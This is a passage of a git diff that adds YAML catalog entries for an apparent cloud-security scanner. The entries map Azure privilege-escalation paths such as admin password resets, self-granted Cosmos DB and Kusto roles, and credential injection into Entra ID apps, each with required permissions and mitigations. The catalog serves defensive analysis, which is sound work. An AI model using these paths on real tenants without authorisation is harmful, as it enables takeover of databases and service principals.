mongo_rbac_enabled + description: The account must be a usable MongoDB account with native MongoDB RBAC enabled. + - id: database_user_created + description: The user definition must be accepted for a database that exists, with a controlled password and the built-in dbOwner role. + - id: network_reachable + description: Account firewall must allow the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict mongodbUserDefinitions/write; limit mongodbRoleDefinitions/write where custom roles are needed. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/mongodb/how-to-setup-rbac + notes: Native cosmos_account inventory binds the account kind, state and EnableMongoRoleBasedAccessControl capability. The selector requires mongodbUserDefinitions/write inherited from the account or ancestor, which can create users for named databases; roleDefinitions/write is only needed to create a custom role. A child-only grant remains unresolved because it does not establish account-wide coverage. + +- id: azure-cosmos-mongocluster-admin-password + provider: azure + service: cosmos_db + title: Change the MongoDB vCore cluster administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclustersread--microsoftdocumentdbmongoclusterswrite + source_revision: 171e422 + summary: The source may reset the administrator password of a usable primary MongoDB vCore cluster. + requires: + all_of: + - action: Microsoft.DocumentDB/mongoClusters/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_mongo_cluster_admin_password: true + scope: inherited_scope + aggregate_as: MongoDB cluster admins of {target.scope} + conditions: + - id: password_reset_succeeds + description: The administrator password update must be accepted by the primary cluster. + - id: network_reachable + description: Cluster firewall must allow the source (firewallRules/write can add a rule). + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict mongoClusters/write and prefer Entra authentication. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/mongodb/vcore/ + notes: Native mongo_cluster inventory binds the exact primary cluster and its provisioning state. The selector checks mongoClusters/write on that cluster; native authentication can be enabled through the same update permission when necessary. Network access remains conditional. + +- id: azure-cosmos-other-api-role-assignment-write + provider: azure + service: cosmos_db + title: Grant a Cosmos DB native data-plane role on the Cassandra, Gremlin, Table or MongoDB API + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#same-native-rbac-self-grant-on-the-other-cosmos-apis-cassandra--gremlin--table--mongodb-account + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: The source may grant its own Entra identity data-plane access on a matching Cosmos DB API account. + requires: + all_of: [] + any_of: + - - action: Microsoft.DocumentDB/databaseAccounts/cassandraRoleDefinitions/write + scope: '*' + - action: Microsoft.DocumentDB/databaseAccounts/cassandraRoleAssignments/write + scope: '*' + - - action: Microsoft.DocumentDB/databaseAccounts/gremlinRoleDefinitions/write + scope: '*' + - action: Microsoft.DocumentDB/databaseAccounts/gremlinRoleAssignments/write + scope: '*' + - - action: Microsoft.DocumentDB/databaseAccounts/tableRoleDefinitions/write + scope: '*' + - action: Microsoft.DocumentDB/databaseAccounts/tableRoleAssignments/write + scope: '*' + - - action: Microsoft.DocumentDB/databaseAccounts/tableRoleAssignments/write + scope: '*' + - - action: Microsoft.DocumentDB/databaseAccounts/mongoMIRoleDefinitions/write + scope: '*' + - action: Microsoft.DocumentDB/databaseAccounts/mongoMIRoleAssignments/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_cosmos_other_api_role_grant: true + scope: inherited_scope + aggregate_as: Cosmos DB data-plane admins of {target.scope} + conditions: + - id: role_assignment_accepted + description: The matching API must accept an account-wide role assignment for the source's Entra principal; the Table branch can use a built-in contributor role. + - id: network_reachable + description: Account firewall must allow the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the per-API role assignment and role definition write actions. + references: + - https://learn.microsoft.com/en-us/rest/api/cosmos-db-resource-provider/ + notes: Native account inventory identifies the API capability and usable state. The selector checks matching role writes on the exact account, including inherited grants and deny assignments. A permission for one API or another account cannot produce this edge. The role assignment and network path remain conditional. + +- id: azure-cosmos-mongocluster-user-write + provider: azure + service: cosmos_db + title: Register an Entra principal as a MongoDB vCore cluster user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclusterslistconnectionstringsaction--mongoclustersusersread--userswrite + source_revision: 171e422 + summary: The source may grant its own Entra principal the root database role on a usable MongoDB vCore primary cluster. + requires: + all_of: + - action: Microsoft.DocumentDB/mongoClusters/users/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_mongo_cluster_self_root: true + scope: inherited_scope + aggregate_as: MongoDB vCore cluster admins of {target.scope} + conditions: + - id: entra_auth_enabled + description: Entra authentication must be enabled, or the source must also be able to enable it with mongoClusters/write. + - id: root_assignment_succeeds + description: The user's role assignment must be accepted with the root role on the admin database. + - id: network_reachable + description: Cluster firewall or private endpoint must allow the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict mongoClusters/users/write and keep clusters on private networking. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/mongodb/vcore/entra-authentication + notes: Native mongo_cluster GET binds the exact usable primary cluster. The selector checks users/write on the source principal's exact users child, accepting inherited parent grants, and checks mongoClusters/write if Entra authentication is disabled. The source must be a usable Entra user, service principal or managed identity; network access remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/data_explorer.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/data_explorer.yaml new file mode 100644 index 0000000000..5dcede3a4f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/data_explorer.yaml @@ -0,0 +1,95 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Data Explorer (Kusto) techniques (declarative only). +# Source: hacktricks-cloud az-data-explorer-privesc.md (rev 171e422). + +- id: azure-kusto-database-principal-assignment-write + provider: azure + service: data_explorer + title: Grant a Kusto database role through ARM principal assignments + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#microsoftkustoclustersdatabasesprincipalassignmentswrite + source_revision: a449ec1896 + summary: The source can obtain Kusto database Admin on databases in scope. + requires: + all_of: + - action: Microsoft.Kusto/clusters/databases/principalAssignments/write + scope: "*" + target: + kind: azure_dataplane_admin + selector: + azure_kusto_database_principal_assignment_path: true + scope: inherited_scope + aggregate_as: "Kusto database admins of {target.scope}" + conditions: + - id: principal_assignment_accepted + description: Kusto must accept the new or updated assignment for a source-controlled Entra identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict principalAssignments/write to Kusto administrators. + references: + - https://learn.microsoft.com/en-us/azure/data-explorer/manage-database-permissions + - https://learn.microsoft.com/en-us/rest/api/azurerekusto/database-principal-assignments/create-or-update?view=rest-azurerekusto-2025-02-14 + notes: The write must cover a principalAssignments child of the exact collected Kusto database. A child-scoped grant only applies to that existing collected assignment; a parent grant can create a new assignment. The source can grant Admin to a controlled Entra identity, but sign-in and endpoint access remain conditional. + +- id: azure-kusto-cluster-principal-assignment-write + provider: azure + service: data_explorer + title: Grant a Kusto cluster-wide role through ARM principal assignments + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#cluster-wide-variant-microsoftkustoclustersprincipalassignmentswrite + source_revision: "1965257438" + summary: The source can obtain AllDatabasesAdmin on the Kusto cluster. + requires: + all_of: + - action: Microsoft.Kusto/clusters/principalAssignments/write + scope: "*" + target: + kind: azure_dataplane_admin + selector: + azure_kusto_cluster_principal_assignment_path: true + scope: inherited_scope + aggregate_as: "Kusto cluster admins of {target.scope}" + conditions: + - id: principal_assignment_accepted + description: Kusto must accept the new or updated assignment for a source-controlled Entra identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict cluster principalAssignments/write. + references: + - https://learn.microsoft.com/en-us/rest/api/azurerekusto/cluster-principal-assignments/create-or-update?view=rest-azurerekusto-2025-02-14 + notes: The write must cover a principalAssignments child of the exact collected Kusto cluster. A child-scoped grant only applies to that existing collected assignment; a parent grant can create a new assignment. The source can assign its own or another controlled Entra identity AllDatabasesAdmin, but successful sign-in and data-plane reachability remain conditional. + +- id: azure-kusto-database-add-principals + provider: azure + service: data_explorer + title: Add a Kusto database principal with the AddPrincipals action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-explorer-privesc.md#microsoftkustoclustersdatabasesaddprincipalsaction--direct-principal-add-stealthier-than-principalassignments + source_revision: 5090b1a7b9 + summary: The source can obtain Kusto database Admin on databases in scope. + requires: + all_of: + - action: Microsoft.Kusto/Clusters/Databases/AddPrincipals/action + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + azure_resource_type: Microsoft.Kusto/clusters/databases + scope: inherited_scope + aggregate_as: "Kusto database admins of {target.scope}" + conditions: + - id: database_principal_add_accepted + description: Kusto must accept an Admin-role addition for a source-controlled Entra identity, which must then sign in and reach the database endpoint. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Databases/AddPrincipals/action alongside principalAssignments/write. + references: + - https://learn.microsoft.com/en-us/rest/api/azurerekusto/databases/add-principals + notes: Microsoft operation Microsoft.Kusto/Clusters/Databases/AddPrincipals/action targets an exact database. A grant on another database or the cluster alone does not establish this database Admin role unless inherited to this database. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml new file mode 100644 index 0000000000..a83e136086 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml @@ -0,0 +1,9 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Data Factory techniques (declarative only). +# Source: hacktricks-cloud az-data-factory-privesc.md (rev 171e422). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/databases.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/databases.yaml new file mode 100644 index 0000000000..1f62a121d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/databases.yaml @@ -0,0 +1,239 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure managed database (MySQL / PostgreSQL / SQL) control-plane -> database admin techniques (declarative only). +# Sources: hacktricks-cloud az-mysql-privesc.md, az-postgresql-privesc.md, az-sql-privesc.md, az-sql-persistence.md (rev 171e422). + +- id: azure-mysql-flexible-admin-password-reset + provider: azure + service: databases + title: Reset the MySQL Flexible Server administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread--microsoftdbformysqlflexibleserverswrite--microsoftdbformysqlflexibleserversdelete + source_revision: b5caca55fe + summary: The source can obtain the MySQL server administrator account. + requires: + all_of: + - action: Microsoft.DBforMySQL/flexibleServers/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + azure_mysql_flexible_admin_password_reset: true + scope: inherited_scope + aggregate_as: "MySQL server admin of {target.scope}" + conditions: + - id: password_auth_enabled + description: Native MySQL authentication must be enabled, or the caller must also be able to change aad_auth_only. The server endpoint must be reachable through an allowed network path. + blockers: [] + confidence: conditional + severity: high + mitigation: Use Entra-only authentication and restrict flexibleServers/write. + references: + - https://learn.microsoft.com/en-us/azure/mysql/flexible-server/how-to-manage-server-cli + notes: Reset is disruptive to existing clients. + +- id: azure-mysql-flexible-entra-admin-write + provider: azure + service: databases + title: Set the MySQL Flexible Server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftdbformysqlflexibleserversadministratorswrite--microsoftdbformysqlflexibleserversadministratorsread + source_revision: 3b55cfbe46 + summary: The source can obtain Entra administrator on the MySQL server. + requires: + all_of: + - action: Microsoft.DBforMySQL/flexibleServers/administrators/write + scope: "{target.scope}/administrators/ActiveDirectory" + target: + kind: azure_dataplane_admin + selector: + azure_mysql_flexible_entra_admin_write: true + scope: inherited_scope + aggregate_as: "MySQL server admin of {target.scope}" + conditions: + - id: server_has_uami + description: The server needs an assigned user-assigned identity with directory read access, or the caller must be able to attach one. The caller must control the new administrator identity and have a network path to the server. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict administrators/write and monitor Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/mysql/flexible-server/how-to-azure-ad + notes: "" + +- id: azure-postgresql-flexible-admin-password-reset + provider: azure + service: databases + title: Obtain the PostgreSQL Flexible Server administrator account + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversconfigurationswrite + source_revision: c53c63ee2f + summary: The source can obtain the PostgreSQL server administrator account. + requires: + all_of: + - action: Microsoft.DBforPostgreSQL/flexibleServers/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_postgresql_flexible_admin_password_reset: true + scope: inherited_scope + aggregate_as: PostgreSQL server admin of {target.scope} + conditions: + - id: password_auth_enabled + description: The server must allow password authentication or the caller must enable it. A replica must be promoted to a standalone server before its password can be reset. A permitted network path is needed to use the new login. + blockers: [] + confidence: conditional + severity: high + mitigation: Use Entra-only authentication and restrict flexibleServers/write. + references: + - https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/how-to-manage-server-cli + notes: The azure_storage extension path (configurations/write) lets a database admin read blobs as the server's managed identity; this is a partial, Storage-read-only use of that identity and is not modelled as an identity edge. A newly enabled system-assigned identity has no roles. + +- id: azure-postgresql-flexible-entra-admin-write + provider: azure + service: databases + title: Set a PostgreSQL Flexible Server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite-microsoftdbforpostgresqlflexibleserversadministratorswrite--microsoftdbforpostgresqlflexibleserversadministratorsread + source_revision: 28d2c2ff55 + summary: The source can obtain Entra administrator on the PostgreSQL server. + requires: + all_of: + - action: Microsoft.DBforPostgreSQL/flexibleServers/administrators/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_postgresql_flexible_entra_admin_write: true + scope: inherited_scope + aggregate_as: PostgreSQL server admin of {target.scope} + conditions: + - id: entra_auth_enabled + description: Entra authentication must be enabled, or the caller must be able to enable it on this server. A read replica must be promoted before a new administrator can be added. + - id: network_reachable + description: Server must be reachable from the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/how-to-configure-sign-in-azure-ad-authentication + notes: '' + +- id: azure-sql-server-admin-password-reset + provider: azure + service: databases + title: Reset the Azure SQL logical server administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#reset-a-sql-server-administrator-password-with-microsoftsqlserverswrite + source_revision: 59a2d63b44 + summary: The source can obtain the SQL server administrator account. + requires: + all_of: + - action: Microsoft.Sql/servers/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_sql_server_admin_password_reset: true + scope: inherited_scope + aggregate_as: SQL server admin of {target.scope} + conditions: + - id: sql_auth_allowed + description: Entra-only authentication must be disabled, or the caller must also be able to disable it on this server. + - id: network_reachable + description: Public network access plus a firewall rule, or a private path, is required. + blockers: [] + confidence: conditional + severity: high + mitigation: Enforce Entra-only authentication with Azure Policy and restrict servers/write. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-azure-ad-only-authentication + notes: servers/write can also enable or attach a server identity; a privileged SQL session can then read Blob Storage as that identity through a database-scoped credential. That is a partial, read-only use of the identity and is not modelled as an identity edge. + +- id: azure-sql-server-entra-admin-write + provider: azure + service: databases + title: Set the Azure SQL logical server Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#set-a-sql-server-entra-administrator-with-microsoftsqlserversadministratorswrite + source_revision: 5e227f0508 + summary: The source can obtain Entra administrator on the SQL server. + requires: + all_of: + - action: Microsoft.Sql/servers/administrators/write + scope: '{target.scope}/administrators/ActiveDirectory' + target: + kind: azure_dataplane_admin + selector: + azure_sql_server_entra_admin_write: true + scope: inherited_scope + aggregate_as: SQL server admin of {target.scope} + conditions: + - id: network_reachable + description: Public network access plus a firewall rule, or a private path, is required. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure + notes: '' + +- id: azure-sqlmi-entra-admin-write + provider: azure + service: databases + title: Set the Azure SQL Managed Instance Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#set-a-sql-managed-instance-entra-administrator + source_revision: 9ba7f6dbee + summary: The source can obtain Entra administrator on the SQL Managed Instance, the instance analogue of the logical-server Entra admin grant. + requires: + all_of: + - action: Microsoft.Sql/managedInstances/administrators/write + scope: '{target.scope}/administrators/ActiveDirectory' + target: + kind: azure_dataplane_admin + selector: + azure_sqlmi_entra_admin_write: true + scope: inherited_scope + aggregate_as: SQL Managed Instance admin of {target.scope} + conditions: + - id: instance_directory_read + description: The Managed Instance identity must be able to read the proposed Entra administrator in the directory. + - id: network_reachable + description: The instance endpoint (VNet-local, or public endpoint if enabled) must be reachable from the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict managedInstances/administrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure + notes: The Managed Instance identity needs directory read access to resolve the proposed administrator; network reachability remains conditional. + +- id: azure-sqlmi-admin-password-reset + provider: azure + service: databases + title: Reset the Azure SQL Managed Instance administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#reset-a-sql-managed-instance-administrator-password + source_revision: 527527c013 + summary: The source can obtain the SQL Managed Instance administrator login. + requires: + all_of: + - action: Microsoft.Sql/managedInstances/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_sqlmi_admin_password_reset: true + scope: inherited_scope + aggregate_as: SQL Managed Instance admin of {target.scope} + conditions: + - id: sql_auth_allowed + description: Entra-only authentication must be disabled on the instance, or the caller must also be able to disable it. + - id: network_reachable + description: The instance endpoint must be reachable from the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Enforce Entra-only authentication on managed instances and restrict managedInstances/write. + references: + - https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-azure-ad-only-authentication + notes: Disruptive to clients using the old password. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/databricks.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/databricks.yaml new file mode 100644 index 0000000000..8a68e849f9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/databricks.yaml @@ -0,0 +1,42 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Databricks techniques (declarative only). +# Source: hacktricks-cloud az-databricks-privesc.md (rev 171e422). + +- id: azure-databricks-assign-workspace-admin + provider: azure + service: databricks + title: Self-assign Databricks workspace admin through Azure RBAC + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#become-a-workspace-admin-through-azure-rbac + source_revision: 171e422 + summary: A tenant member user may bootstrap workspace admin on an exact usable Databricks workspace. + source_kind: azure_user + source_selector: + azure_member_user: true + requires: + all_of: + - action: Microsoft.Databricks/workspaces/assignWorkspaceAdmin/action + scope: "*" + - action: Microsoft.Databricks/workspaces/read + scope: "*" + target: + kind: azure_dataplane_admin + selector: + azure_databricks_workspace_admin: true + scope: inherited_scope + aggregate_as: "Workspace admins of Databricks workspace {target.scope}" + conditions: + - id: source_is_user + description: HackTricks validated the path only for tenant member users, not service principals. + - id: bootstrap_succeeds + description: The member user's Databricks and ARM tokens must be accepted by the exact usable workspace. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict assignWorkspaceAdmin/action (Contributor/Owner on the workspace). + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/analytics + notes: The selector binds both effective Azure RBAC actions to the same exact inventoried workspace and checks its provisioning state and URL. A disabled member user, unrelated workspace, or unsupported service principal cannot emit the edge. Network access and Databricks bootstrap remain conditional. Workspace compute identity pivots are separate techniques. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml new file mode 100644 index 0000000000..6246c20286 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml @@ -0,0 +1,39 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure DevTest Labs techniques (declarative only). +# Source: hacktricks-cloud az-devtest-labs-privesc.md (rev 171e422). +# A lab VM (Microsoft.DevTestLab/labs/virtualMachines) is backed by a compute VM; the link is not collected, +# so the target uses azure_host_linked_to_pivot (unknown until collected). + +- id: azure-devtestlabs-apply-artifacts + provider: azure + service: devtest_labs + title: Apply an artifact to a lab VM to run code in the guest + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#applyartifacts--in-guest-rce--managed-identity-theft-marquee + source_revision: 171e422 + summary: A script-capable artifact on an exact writable lab VM may run code in its backing compute VM and reach that VM's attached identity. + requires: + all_of: + - action: Microsoft.DevTestLab/labs/virtualMachines/ApplyArtifacts/action + scope: "{pivot}" + pivot_resource_type: Microsoft.DevTestLab/labs/virtualMachines + target: + kind: azure_managed_identity + selector: + azure_devtestlab_artifact_identity: true + scope: inherited_scope + aggregate_as: "Managed identity of the compute VM behind the writable lab VM" + conditions: + - id: artifact_source_available + description: The same lab must have an enabled source and an OS-compatible script artifact; public Run PowerShell or Run Bash is checked from native metadata, while custom scripts need fresh reviewed execution semantics. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict ApplyArtifacts/action, disable unneeded artifact sources and keep lab VM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/devtest-labs/add-artifact-vm + notes: The lab VM computeId must name the exact inventoried compute VM carrying the target identity. A stopped lab VM or unavailable script artifact creates no named path. Guest execution and identity-token use remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_apps.yaml new file mode 100644 index 0000000000..34deae16e0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_apps.yaml @@ -0,0 +1,357 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID application / service-principal takeover (credential injection, ownership, +# Graph app-role self-grant, Agent ID blueprints). +# Source: hacktricks-cloud az-entraid-privesc/README.md, az-persistence/README.md, +# az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md (rev 171e422; all entries re-verified against the page text at that revision). +# +# Requirement keys: see header of entraid_roles.yaml. Additionally: +# entra_owner_of: "{target.application_id}" | "{target.id}" with object_type: +# application | servicePrincipal (source is a registered owner of that object) +# +# Credential added to an APPLICATION object authenticates as that app's service +# principal in this tenant (the home tenant). Credentials added to a SERVICE PRINCIPAL +# object authenticate as that tenant-local service principal (works also for +# multi-tenant apps registered elsewhere). Managed-identity service principals cannot +# receive credentials. The resulting edge gives the target SP's directory roles, Graph / +# API app roles and Azure RBAC. + +- id: azure-entraid-app-credentials-update + provider: azure + service: entraid + source_kind: azure_user + title: Add credentials to any application registration + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationscredentialsupdate + source_revision: ae05918c9c + summary: A principal allowed to update application credentials (e.g. Application Administrator, Cloud Application Administrator) can obtain the privileges of the service principal of any app registration in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/applications/credentials/update + scope: "{target.application_id}" + - - entra_permission: microsoft.directory/applications/allProperties/update + scope: "{target.application_id}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_sp_type_in: [Application] + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of all app registrations in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities (named locations / risk) can block sign-in of the target service principal. + blockers: [] + confidence: conditional + severity: critical + mitigation: Minimise Application/Cloud Application Administrator assignments, scope custom roles to specific app registrations, and never grant privileged directory roles or Graph app roles to apps whose registration non-Tier-0 principals can manage. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + - https://learn.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0 + - https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ + notes: Critical because the target set includes any app whose service principal holds Global Administrator, Privileged Role Administrator or RoleManagement.ReadWrite.Directory; Microsoft labels these permissions PRIVILEGED. The target set is app registrations whose application object lives in this tenant. The permission check resolves the app object ID, not its service-principal object ID, so a role assignment scoped to one app registration reaches only that app. allProperties/update includes the credential property set. This is the delegated-user directory-role path; app-only Graph permissions are modeled by the separate Graph application permission entry. Delegated Graph access and application-management policy restrictions remain conditional. + +- id: azure-entraid-app-myorg-credentials-update + provider: azure + service: entraid + source_kind: azure_user + title: Add credentials to single-tenant application registrations + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsmyorganizationallpropertiesupdate + source_revision: f6f75e1f7a + summary: A principal holding applications.myOrganization credential/allProperties update can obtain the privileges of the service principal of any single-tenant app registration in its scope. + requires: + any_of: + - - entra_permission: microsoft.directory/applications.myOrganization/credentials/update + scope: "{target.application_id}" + - - entra_permission: microsoft.directory/applications.myOrganization/allProperties/update + scope: "{target.application_id}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_sp_type_in: [Application] + entra_app_sign_in_audience: AzureADMyOrg + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of single-tenant app registrations in {scope}" + conditions: + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: conditional + severity: critical + mitigation: Audit custom roles for applications.myOrganization/* permissions and scope them to specific app registrations instead of the tenant. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: These permissions appear mostly in custom roles; single-tenant internal apps are frequently the ones holding privileged Graph app roles. The evaluator resolves a role assignment against the application object ID and requires signInAudience AzureADMyOrg on that same local app. This is the delegated-user directory-role path; app-only Graph grants are handled by their separate technique. Delegated Graph access and application-management policy restrictions remain conditional. + +- id: azure-entraid-app-owners-update + provider: azure + service: entraid + source_kind: azure_user + title: Make yourself owner of any application registration + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsownersupdate + source_revision: 517fd6b63a + summary: A principal allowed to update application owners can obtain the privileges of the service principal of any app registration in its scope. + requires: + all_of: + - entra_permission: microsoft.directory/applications/owners/update + scope: "{target.application_id}" + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_sp_type_in: [Application] + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Service principals of all app registrations in {scope}" + conditions: + - id: delegated_graph_owner_and_credential_write + description: The user needs the delegated Microsoft Graph scopes required to add an owner and a credential, and app credential policy must allow the new credential. + - id: service_principal_conditional_access + description: Conditional Access for workload identities can block sign-in of the target service principal. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict applications/owners/update, monitor "Add owner to application" audit events, and use app management policies to restrict credential types. + references: + - https://learn.microsoft.com/en-us/graph/api/application-post-owners?view=graph-rest-1.0 + notes: This delegated-user directory-role path resolves the permission against the application object ID and only names its enabled Application-type service principal. App-only Graph authorization is separate. Ownership grants credential management but not authority to consent new API permissions; the gain is limited to what the app's service principal already holds. + +- id: azure-entraid-app-owner-credentials + provider: azure + service: entraid + title: Application owner adds credentials to the owned app + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsownersupdate + source_revision: 681d8f7ccb + summary: A registered owner of an application can obtain the privileges of that application's service principal. + requires: + all_of: + - entra_owner_of: "{target.application_id}" + object_type: application + target: + kind: azure_service_principal + selector: + entra_sp_has_tenant_application: true + entra_sp_type_in: [Application] + entra_source_is_owner_of_application: true + scope: tenant + aggregate_as: "Service principals of app registrations owned by {source}" + conditions: + - id: service_principal_owner_needs_ownedby + description: An app-only owner needs an enabled Microsoft Graph Application.ReadWrite.OwnedBy, Application.ReadWrite.All or Directory.ReadWrite.All grant. A user owner needs a delegated Graph scope 